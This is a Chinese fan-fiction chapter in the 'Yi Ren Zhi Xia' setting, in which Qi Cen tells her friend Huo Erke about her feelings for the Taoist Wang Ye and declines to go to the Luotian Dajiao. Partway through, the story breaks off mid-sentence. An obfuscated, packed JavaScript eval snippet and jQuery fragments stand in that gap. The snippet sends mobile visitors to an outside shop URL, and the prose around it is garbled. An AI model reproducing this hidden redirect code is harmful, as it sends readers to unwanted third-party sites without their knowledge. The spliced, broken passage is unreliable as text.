天下之大,无奇不有。
最近南大论坛上又出了件新鲜事。
一张照片开始广泛流传,沉沉夜色之中,圆月皎洁,光裸的人影蜷曲着飞梭而过,不偏不倚,刚好定格在圆月正中。
雪白的屁股亮得晃眼,被广大校友光荣赐名,“光腚侠”。
传说在每个月圆之夜,光腚侠都会在夜空中起舞,而有幸看到光腚侠的情侣,在当晚定能达成“共赴巫山”成就。
真是林子大了,什么鸟都有。
齐岑随手截了个图,发给王也,配文,南大第八不可思议事件。
自下山后,她依旧保持着与王也的微信联络。虽然,绝大部分时间都是她在分享,他偶尔回复。
按照她的打算,这段孽缘本应在她下山那天就画上句号。
她心如明镜,全真道士的身份始终是他们之间的一堵看不见的高墙。
那是他的道,她选择尊重。
所以,她不会自不量力到试图推倒它,人生很大,大到不止有男人。
但她也不会委屈自己,明明喜欢却强忍着不去联系。
被雪藏的种子一但发了芽,即便长不成参天大树,那一星半点的绿意短时间内也不会褪去。
既如此,何必折磨自己呢?
她试过了,下山那天,她一条微信都没给他发,她一路倒车,坐飞机,明明折腾了一天,累了一天,但晚上躺在寝室的床上的时候,却怎么也睡不着。
她还是想给他发微信。
那天凌晨一点,她终于遵从了本心,动动手指给他甩过去两张图片。
这下舒坦了,困意也上赶着来了。
“嚯,这什么玩意儿?”
“现在的大学生都这么会玩了吗?”
“你们学校还挺热闹,这都第八不可思议事件了?”
她关上电脑,扫了一眼王也发来的消息,一一回复。
没一会儿,对面又跳出来一条。
“你寄的快递收到了,小葡萄那小子最近圆了一圈儿,这事儿你得负全责。”
“王道长,你这有点冤枉人了。”
齐岑穿上外套,一边回消息一边往外走。
天气渐渐回暖,校园里的草木,开始冒出新芽。
临近中午,食堂前面的那条路热热闹闹的,说话声,欢笑声,还有自行车的铃铛声,搅在一起,嗡嗡地往耳朵里灌。
她慢慢悠悠地走着,迎面走来一男一女,那男生顶着少见的四叶妹妹头,正一脸谄媚地跟旁边的长发女生说话。
“主人。”
她随意地瞥了一眼,这又是什么新奇的相处模式?
她去食堂吃了口饭,买了点水果,又溜溜达达地回了寝室。
平时白天,寝室里只有她一个人。
大四下学期没课,除了她以外,其他三个室友都忙得像陀螺。一个去公司实习,一个忙着约会,还有一个天天泡在图书馆准备考研复试。
唯她一个,天天窝在寝室里过神仙日子。
论文初稿已完成,偶尔打开app瞅一眼基金的涨幅情况。
兴许是真武大帝最近的档期不忙,连她这种小破事都顺手管了。
就之前那只被套得最狠的基金,最近开始回升了。
趴了大半年的净值曲线,有了上翘的趋势,磨磨蹭蹭地往上爬,虽然缓慢,但好歹是往上走的。
她琢磨着,要不去还个愿呢?
微信嗡嗡震了两声,她点开对话框,是霍尔科。
他甩过来一条连接,还附赠了一个嘻嘻哈哈走起的表情包。
她点开连接,粗略浏览了一遍。
龙虎山天师府将于下月举办罗天大醮,公开选拔下一届的天师继承人,凡是年龄三十岁以下的异人皆可报名参加。
天师府疯了?
纵然她鲜少掺和圈子里的事,但也不妨碍她知道,天师府的天师候选人历来只在龙虎山内部产生这件事。
这要是公开选拔,届时龙虎山得多热闹。
齐岑立刻明白霍尔科给她发消息的用意,就照这家伙喜欢凑热闹的程度,他不报名才有鬼了。
但她一点兴趣也没有。
“不去。”
对面回得很快,“别啊,这次龙虎山肯定是各路神仙云集,都是年轻人,多好玩啊,你跟我一起去呗,闲着也是闲着。”
“听说最近出了个张楚岚,炁体源流的传人,他也收到了邀请,咱们正好去见识见识传说中的八奇技。”
“想起来了,他好像也是南大的,见过没?”
说着,霍尔科发过来一张照片。
年轻男大,顶着四叶妹妹头。
齐岑瞅着照片上的四叶妹妹头陷入了沉思,这人,好像是中午食堂前喊“主人”那个,原来他就是张楚岚啊。
“见过,不熟。”
“不重要,这张楚岚可是这次大会的焦点,多少双眼睛都盯着呢,这么大的热闹要是错过了多可惜。”
齐岑:“去不了,我下月打算去再去趟武当山。”
霍尔科:“你论文不是写完了吗?还去武当山干嘛?”
齐岑:“还愿。”
霍尔科:“还什么愿?”
齐岑:“之前有只基金被套了大半年,下山前我去上了个香,希望这只基金能回春。挺灵验的,这只基金果然回升了。”
霍尔科发了个无语表情。
“就这?”
“你可以先跟我上龙虎山,完事了,我再跟你去武当山,正好,我也去上个香,最近有点无聊了。”
让霍尔科跟着上武当山,齐岑想了想,立马否决了这个念头。
“我拒绝。”
霍尔科甩过来一串问号。
“阿岑,你不对劲。”
“你跟我说实话,你又去武当山干什么?”
“该不会是你在山上犯了事,被人抓到把柄了吧?”
这回轮到齐岑无语了,他这什么奇奇怪怪的脑回路,歪哪去了?
还不等她回复,他又发过来一条,这次,齐岑沉默了。
霍尔科:“还是说,你被山上的哪个牛鼻子蛊惑了?”
她没想到这都能歪打正着,但也没瞒他的意思,大方承认。
“纠正一下,不是蛊惑。”
霍尔科:“??????”
“我靠,我家大白菜被猪拱了???”
“正一?”
齐岑:“全真。”
霍尔科:“?????”
接着,他一个电话就打了过来。
刚一接听,那边就开始疯狂输出:“不是,你这闹哪出啊?他一个全真道士,不顾清规戒律,故意勾引小姑娘,我跟你讲,这牛鼻子心不正,道不诚,铁定不是啥好鸟。”
“这样人你得离他远点!”
眼看他越说越离谱,齐岑赶忙制止。
“打住,不是你想得那样。”
“嗯?”
“他很好,什么都没做,甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871804|212299||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,不知道。”
对面诡异地沉默了。
没一会,他才开口,语气平静:“你图什么?”
“不知道。”
霍尔科好像叹了口气:“全真道士,不能婚娶。”
“我知道。”
“知道你还……”他话说一半,转了个弯,“算了算了,估计这也不是你自己能控制的。”
“有照片吗?”霍尔科现在对这牛鼻子是越发好奇了。
齐岑能看上的男人,到底是清冷出尘的小道长,还是仙风道骨的年轻高功?
紧接着,他的好奇彻底被齐岑发过来的照片碾压成渣。
他甚至想问她是不是发错了。
他再次瞅了一眼那照片,双指放大的那种。
屏幕之上,一个懒散道士背靠大树,头微微歪着,睡得那叫一个昏天黑地。
眼底挂着俩贼大的黑眼圈,跟熊猫比都是有过之无不及。
不是,他还流口水?
这人的睡相也太差了吧?
就这不修边幅的形象,齐岑到底看上他啥了?
人格魅力?他想不通。
“你认真的?”
“嗯。”
霍尔科觉得这样不行,齐岑整日呆在学校里,没见过啥世面,他有义务带她见识下这花花世界。
他翻了翻相册,挑了一张发过去。
“这我朋友,你看他怎么样?”
齐岑点开屏幕上的照片。
那是一张合照,上面两个男人勾肩搭背,准确来说,是其中一个搭着另外一个。
她自然认得出,那个主动搭胳膊,笑得花枝乱颤的是霍尔科。
至于另一个,那人穿着一身休闲西装,身形高挑,墨蓝色的头发将他整个人都衬得分外白净。
他眯着眼,神神秘秘的,却依然掩不住五官的精致。
无论是从客观还是主观角度来说,这男人的皮囊都相当好看,像某个电影明星。
这张脸,她好像在哪见过。
“阿青!”刚下班回来的室友凑到她身后,指着她的电脑屏幕,“齐岑,你也喜欢诸葛青吗?”
诸葛青,她想起来了,大一那会儿,她这室友天天在寝室念叨诸葛青,就连手机,电脑的屏保都是这人。
“现在想想就心痛,我们阿青多好的一个人,就因为反抗娱乐圈的潜规则,竟然被雪藏了。”室友还在一旁感叹,“我那倒霉的白月光啊。”
齐岑对着室友笑了笑,示意她自己在打电话,室友识趣地走开了。
“狐狸确实混过一段时间娱乐圈,导演想潜规则他,然后他就把人揍了一顿,你看,他这人三观多正。”
“人品好,样貌佳,家世一流,武侯派正经八本的传人,怎么样,阿岑,要不要考虑下,我介绍他给你认识?”
齐岑被霍尔科气笑了:“没兴趣。”
霍尔科锲而不舍:“没事,我还认识天下会少爷,风星潼,人也不赖……”
“霍尔科。”她打断他,“我认真的。”
霍尔科妥协:“行,他叫什么?”
“王也。”
“没听过这号人呀,在武当辈分不高吧?”他顿了顿,“你觉得他会参加罗天大醮吗?”
“够呛。”齐岑想了想,他那么懒,估计费劲。
“那你打算怎么办?”
齐岑看了眼窗外,一只鸟儿正落在法桐的枝丫上叽叽喳喳地叫个不停。
她抿了下唇:“顺其自然。”